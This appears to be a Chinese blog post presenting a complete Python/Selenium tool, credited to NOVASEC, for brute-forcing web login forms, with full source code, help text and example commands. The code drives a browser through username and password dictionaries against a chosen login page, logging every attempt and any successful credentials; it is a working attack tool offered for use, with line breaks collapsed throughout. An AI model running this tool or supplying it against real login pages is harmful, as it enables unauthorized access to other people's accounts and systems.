Python实现简约的selenium登录爆破框架

#coding:utf-8#测试适用于Python2.7与Python3.7
import timeimport sysfrom selenium import webdriverfrom selenium.webdriver.common import action_chains, keysfrom selenium.webdriver.chrome.options import Optionsimport argparse
if sys.version > '3':    print('Python3 was used !!!')else:    print('Python2 was used !!!')    reload(sys)     sys.setdefaultencoding('utf-8')
def SetBrowser(proxy=None , user_agent=None ,  user_dir=None  , chrome_path=None , driver_path=None,  headless=False ):    options  = Options()        # 防止打印一些无用的日志    options.add_experimental_option("excludeSwitches", ['enable-automation', 'enable-logging'])        #使用指定代理服务器, 对 http 和 https 有效    if proxy != None:        #proxy='http://127.0.0.1:8080'        options .add_argument('--proxy-server=%s' % proxy)            #使用自定义user-agent    if user_agent != None:        #user_agent = 'Mozilla/5.0 (Linux; U; Android 8.1.0; zh-cn; BLA-AL00 Build/HUAWEIBLA-AL00) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.132 MQQBrowser/8.9 Mobile Safari/537.36'          options .add_argument('--user-agent=%s' % user_agent)
    #使用自定义帐户资料夹    if user_dir != None:        #user_dir = "D:tempChrome User Data"          options .add_argument('user-data-dir=%s' % user_dir)
    # 浏览器不提供可视化页面    if headless != False:        options.add_argument('--headless')  
    #指定chrome.exe所在文件路径 #可添加chrome.exe到系统path环境变量    if chrome_path!=None:        #chrome_path =r'C:UsersWindowsAppDataRoaming89.0.4389.128chrome.exe'        options.binary_location = chrome_path
    #webdriver加载Chrome    if driver_path != None:        #指定驱动路径加载        #driver_path = r"chromedriverchromedriver_win32_89.0.4389.23.exe"        browser = webdriver.Chrome(executable_path=driver_path, options = options )         #使用options替换chrome_options     else:        #默认驱动路径加载        browser = webdriver.Chrome(chrome_options=options )    print('SetBrowser Initialize Successfully !!!')    return browser
def BruteLogin(user=None,pwd=None, login_url=None ,time_1=1 ,time_2=1 ,                            user_id=None ,  user_class=None , user_name=None ,                             pass_id=None , pass_class=None , pass_name=None,                            button_id=None, button_class=None, button_name=None,keyword='success'):    try:        action = action_chains.ActionChains(browser)        browser.get(login_url)                time.sleep(time_1)  #延迟时间        #implicitly_wait 隐式等待 在尝试发现某个元素的时候，如果没能立刻发现，就等待固定长度的时间。        #browser.implicitly_wait(5) #implicitly_wait 隐式等待   #报错提示服务器时间未同步        #browser.refresh() # 刷新方法 refresh        #browser.implicitly_wait(5) #implicitly_wait 隐式等待                if user_id !=None:            print('browser.find_element_by_id( %s )' % user_id)            elem = browser.find_element_by_id( user_id )        elif user_name !=None:            print('browser.find_element_by_name( %s )' % user_name)            elem = browser.find_element_by_name( user_name )        elif user_class !=None:            print('browser.find_element_by_class_name( %s )' % user_class)            elem = browser.find_element_by_class_name( user_class )        else:            print('No Username elem')            browser.quit()        #填充账号        elem.send_keys(user)        action.perform()                if pass_id !=None:            print('browser.find_element_by_id( %s )' % pass_id)            elem = browser.find_element_by_id( pass_id )        elif pass_name !=None:            print('browser.find_element_by_name( %s )' % pass_name)            elem = browser.find_element_by_name( pass_name )        elif pass_class !=None:            print('browser.find_element_by_class_name( %s )' % pass_class)            elem = browser.find_element_by_class_name( pass_class )        else:            print('No Password elem')            browser.quit()        #填充密码        elem.send_keys(pwd)        action.perform()                if button_id !=None:            print('browser.find_element_by_id( %s )' % button_id)            elem = browser.find_element_by_id( button_id )        elif button_name !=None:            print('browser.find_element_by_name( %s )' % button_name)            elem = browser.find_element_by_name( button_name )        elif button_class !=None:            print('browser.find_element_by_class_name( %s )' % button_class)            elem = browser.find_element_by_class_name( button_class )        else:            print('No Password elem')            browser.quit()        #点击按钮        elem.click()                #等待加载完成         time.sleep(time_2)     #Explicit Waits 显示等待        #获取当前页面的窗口句柄        #print(browser.current_window_handle)          # 获取当前页面URL        currentPageUrl = browser.current_url          print('current Page Url:',currentPageUrl)        # 获取当前页面title        currentPageTitle = browser.title        print('current Page Title:',currentPageTitle)        # 获取当前页面的源码并断言        pageSourceSize= len(browser.page_source)        print('current Page Size:', pageSourceSize)                BruteLogKeywords = user + '|' + pwd + '|' +  str(currentPageUrl)  + '|' + str(currentPageTitle)+ '|' + str(pageSourceSize)         print('BruteLogKeywords: ', BruteLogKeywords)        f_BruteLog = open("Brute-Log.txt", "a+")         f_BruteLog.write(BruteLogKeywords + 'n')        f_BruteLog.close()                #自定义匹返回页面匹配关键字        if 'success' in browser.page_source:            print('Login Success:' + user + '|' + pwd)            f_Success = open("Brute-Keyword.txt", "a+")             f_Success.write(BruteLogKeywords + 'n')            f_Success.close()        else:            print('LoginFaild!')                except KeyboardInterrupt as e:        print('KeyboardInterrupt', e)        browser.quit()        exit()    except Exception as e:        print('Exception', e)        browser.quit()        exit()        def BruteLoginRun(login_url=None ,time_1=1 ,time_2=1 ,                                    user_id=None ,  user_class=None , user_name=None ,                                     pass_id=None , pass_class=None , pass_name=None,                                     button_id=None, button_class=None, button_name=None,                                     user_dict='username.txt' , pass_dict ='password.txt' ,keyword ='success'):    with open(user_dict,'r') as fuser:            for user in fuser.readlines():                    user = user.strip()                    with open(pass_dict,'r') as fpwd:                        for pwd in fpwd.readlines():                                pwd = pwd.strip()                                print('testing...' + user,pwd)                                BruteLogin(user=user,pwd=pwd,login_url=login_url,time_1=time_1 ,time_2=time_2 ,                                user_id=user_id ,  user_class=user_class , user_name=user_name ,                                 pass_id=pass_id , pass_class=pass_class , pass_name=pass_name,                                 button_id=button_id, button_class=button_class, button_name=button_name, keyword=keyword)
if __name__ == '__main__':    parser = argparse.ArgumentParser()    parser.description="Simple Browser automatic login blasting tool -- by NOVASEC"  #简单的浏览器登录爆破工具        #浏览器配置参数    parser.add_argument("-bh", "--browser_headless", help="Specifies the Browser headless, eg: True", default=False)                                                                       #指定浏览器chromedriver.exe路径    parser.add_argument("-bp", "--browser_proxy", help="Specifies the Browser Proxy IP for HTTP or HTTPS , eg: http://127.0.0.1:8080" , default=None)       #指定浏览器代理服务器地址    parser.add_argument("-bua", "--browser_useragent", help="Specifies the Browser UserAgent , eg: Mozilla/5.0 Version/4.0" , default=None)                       #指定浏览器User Agent头    parser.add_argument("-bud", "--BrowserUserDir", help="Specifies the Browser User Dir , eg: D:tempChrome User Data" , default=None)                               #指定浏览器用户数据目录    parser.add_argument("-bcp", "--browser_chrome_path", help="Specifies the Browser Chrome.exe Path , eg: C:chromechrome.exe" , default=None)       #指定浏览器chrome.exe路径    parser.add_argument("-bdp", "--browser_driver_path", help="Specifies the Browser Driver Path, eg: D:tempchromedriver.exe", default=None)                       #指定浏览器chromedriver.exe路径        #登录页配置参数    parser.add_argument("-lu", "--login_url", help="The login address, eg: http://192.168.1.1/login.aspx" , default=None)   #指定登录地址    parser.add_argument("-t1", "--time_1", help="Specifies the pause time (s) before access , eg: 1" , default=1 ,type=float)   #指定访问前暂停时间    parser.add_argument("-t2", "--time_2", help="Specifies the pause time (s) after access , eg: 1 " , default=1 ,type=float)   #指定访问后暂停时间        parser.add_argument("-ui", "--user_id", help="Specify the username attribute by id" , default=None)   #指定用户名属性 id    parser.add_argument("-un", "--user_name", help="Specify the username attribute by name" , default=None)   #指定用户名属性 name    parser.add_argument("-uc", "--user_class", help="Specify the username attribute by class, No Spaces" , default=None)   #指定用户名属性 class        parser.add_argument("-pi", "--pass_id", help="Specify the password attribute by id" , default=None)   #指定密码属性 id    parser.add_argument("-pn", "--pass_name", help="Specify the password attribute by name" , default=None)   #指定密码属性 name    parser.add_argument("-pc", "--pass_class", help="Specify the password attribute by class, No Spaces" , default=None)   #指定密码属性 class
    parser.add_argument("-bi", "--button_id", help="Specify the login button attribute by id" , default=None)                   #指定登录按钮属性 id    parser.add_argument("-bn", "--button_name", help="Specify the login button attribute by name" , default=None)   #指定登录按钮属性 name    parser.add_argument("-bc", "--button_class", help="Specify the login button attribute by class, No Spaces" , default=None)   #指定登录按钮属性 class    #字典配置参数    parser.add_argument("-ud", "--user_dict", help="Specify the login username dict" , default='username.txt')                   #指定用户名字典    parser.add_argument("-pd", "--pass_dict", help="Specify the login password dict"  , default='password.txt')           #指定密码字典    #关键字匹配参数    parser.add_argument("-k", "--keyword", help="Specifies the keyword to match in the return message"  , default='success')           #指定在返回报文中匹配的关键字    args = parser.parse_args()        #浏览器配置    proxy = args.browser_proxy    user_agent = args.browser_useragent    user_dir = args.BrowserUserDir    chrome_path = args.browser_chrome_path    driver_path = args.browser_driver_path    headless = args.browser_headless        #chrome_path =r"C:UsersWindowsAppDataRoaming89.0.4389.128chrome.exe"        #测试用    #driver_path = r"chromedriverchromedriver_win32_89.0.4389.23.exe"                                                                                #测试用        browser = SetBrowser(proxy=proxy , user_agent=user_agent ,  user_dir=user_dir  , chrome_path=chrome_path , driver_path=driver_path,  headless=headless )        #登录页面配置    login_url = args.login_url    time_1 = args.time_1    time_2 = args.time_2        user_id = args.user_id    user_name = args.user_name    user_class = args.user_class    #user_id = 't1'       ##测试OK    #user_name = 't1'       ##测试OK    #user_class = 'input_kuang_login fin fld-error'  ##测试存在空格,不支持        pass_id = args.pass_id    pass_name = args.pass_name    pass_class = args.pass_class    #pass_id = 't2'       ##测试OK    #pass_name = 't2'       ##测试OK    #pass_class= 'input_kuang_login' ##测试存在空格,不支持        button_id = args.button_id    button_name = args.button_name    button_class = args.button_class    #button_id = 'b1'       ##测试OK    #button_name= 'b1'       ##测试OK    #button_class = 'btnlogin' ##测试OK        #字典配置    user_dict = args.user_dict    pass_dict = args.pass_dict        #匹配关键字配置    keyword = args.keyword        BruteLoginRun(   login_url=login_url, time_1=time_1, time_2=time_2,                                         user_id=user_id ,user_class=user_class,user_name=user_name ,                                         pass_id=pass_id,pass_class=pass_class , pass_name=pass_name,                                         button_id=button_id,button_class=button_class,button_name=button_name,                                    user_dict=user_dict , pass_dict =pass_dict,keyword=keyword)    browser.quit()

支持Python3 Python2 下运行。
usage: brute-selenium.py [-h] [-bh BROWSER_HEADLESS] [-bp BROWSER_PROXY]                         [-bua BROWSER_USERAGENT] [-bud BROWSERUSERDIR]                         [-bcp BROWSER_CHROME_PATH] [-bdp BROWSER_DRIVER_PATH]                         [-lu LOGIN_URL] [-t1 TIME_1] [-t2 TIME_2]                         [-ui USER_ID] [-un USER_NAME] [-uc USER_CLASS]                         [-pi PASS_ID] [-pn PASS_NAME] [-pc PASS_CLASS]                         [-bi BUTTON_ID] [-bn BUTTON_NAME] [-bc BUTTON_CLASS]                         [-ud USER_DICT] [-pd PASS_DICT] [-k KEYWORD]
简单的浏览器登录爆破工具 -- by NOVASEC   
选项参数：  -h, --help            查看所有帮助
#配置浏览器访问时的属性  -bh BROWSER_HEADLESS, --browser_headless 是否显示浏览器界面, 例: True
  -bp BROWSER_PROXY, --browser_proxy BROWSER_PROXY                        指定浏览器代理服务器(HTTP或HTTPS)地址,  例: http://127.0.0.1:8080
  -bua BROWSER_USERAGENT, --browser_useragent BROWSER_USERAGENT                        指定浏览器 UserAgent ,  例: Mozilla/5.0  Version/4.0
  -bud BROWSERUSERDIR, --BrowserUserDir BROWSERUSERDIR                        指定浏览器用户数据目录 ,  例: D: empChrome   User Data 
  -bcp BROWSER_CHROME_PATH, --browser_chrome_path BROWSER_CHROME_PATH                        指定浏览器chrome.exe路径 ,例: C:chromechrome.exe                         默认当前目录或使用环境变量下可找到的chrome.exe 
  -bdp BROWSER_DRIVER_PATH, --browser_driver_path BROWSER_DRIVER_PATH                        指定浏览器chromedriver.exe路径, 例: D:tempchromedriver.exe                         默认当前目录或使用环境变量下可找到的chromedriver.exe 
  -lu LOGIN_URL, --login_url LOGIN_URL                        指定登录页面地址,  例: http://192.168.1.1/login.aspx  -t1 TIME_1, --time_1 TIME_1                        指定访问页面前暂停时间(秒) ,  例: 1 ,默认1s  -t2 TIME_2, --time_2 TIME_2                        指定访问页面后暂停时间(秒) ,  例: 1 ,默认1s
#定位登录用户名框框，三选一  -ui USER_ID, --user_id USER_ID                        Specify the username attribute by id                        指定登录用户名框属性 id值  -un USER_NAME, --user_name USER_NAME                        指定登录用户名框属性 name值  -uc USER_CLASS, --user_class USER_CLASS                        指定登录用户名框属性 class值，不能存在空格
#定位登录密码框框，三选一  -pi PASS_ID, --pass_id PASS_ID                        指定登录密码框属性 id值  -pn PASS_NAME, --pass_name PASS_NAME                        指定登录密码框属性 id值  -pc PASS_CLASS, --pass_class PASS_CLASS                        指定登录密码框属性 class值，不能存在空格
#定位登录按钮，三选一  -bi BUTTON_ID, --button_id BUTTON_ID                        指定登录按钮属性 id值  -bn BUTTON_NAME, --button_name BUTTON_NAME                        指定登录按钮属性 name值  -bc BUTTON_CLASS, --button_class BUTTON_CLASS                        指定登录按钮属性 class值，不能存在空格
#指定账号密码字典  -ud USER_DICT, --user_dict USER_DICT                        指定登录爆破用的用户名字典，默认username.txt  -pd PASS_DICT, --pass_dict PASS_DICT                        指定登录爆破用的用户名字典，默认password.txt#指定结果匹配关键字,适用于已经知道登陆成功返回包的情况。  -k KEYWORD, --keyword KEYWORD                        指定登录爆破用的用户名字典，默认password.txt

在Chrome浏览器里输入"chrome://version"

http://chromedriver.storage.googleapis.com/index.html

#使用默认Chorome浏览器和默认Chromedriver.exe进行登录测试python3 brute-selenium.py -lu http://1.1.1.1/login.aspx --user_id t1 --pass_id t2 --button_id b1
#使用指定Chorome浏览器和指定Chromedriver.exe进行登录测试python3 brute-selenium.py -lu http://1.1.1.1/login.aspx --user_id t1 --pass_id t2 --button_id b1 -bcp "C:UsersadministratorAppDataRoamingBurpSuiteburpbrowser89.0.4389.128chrome.exe" -bdp "chromedriverchromedriver_win32_89.0.4389.23.exe"
#使用指定Chorome浏览器、指定Chromedriver.exe、指定用户名和密码字典进行登录测试 python3 brute-selenium.py -lu http://1.1.1.1/login.aspx --user_id t1 --pass_id t2 --button_id b1 -bcp "C:UsersadministratorAppDataRoamingBurpSuiteburpbrowser89.0.4389.128chrome.exe" -bdp "chromedriverchromedriver_win32_89.0.4389.23.exe"   -ud username.txt -pd password.txt 
#使用指定Chorome浏览器、指定Chromedriver.exe、指定用户名和密码字典进行登录测试 ，并匹配返回包中的关键字python3 brute-selenium.py -lu http://1.1.1.1/login.aspx --user_id t1 --pass_id t2 --button_id b1 -bcp "C:UsersadministratorAppDataRoamingBurpSuiteburpbrowser89.0.4389.128chrome.exe" -bdp "chromedriverchromedriver_win32_89.0.4389.23.exe"   -ud username.txt -pd password.txt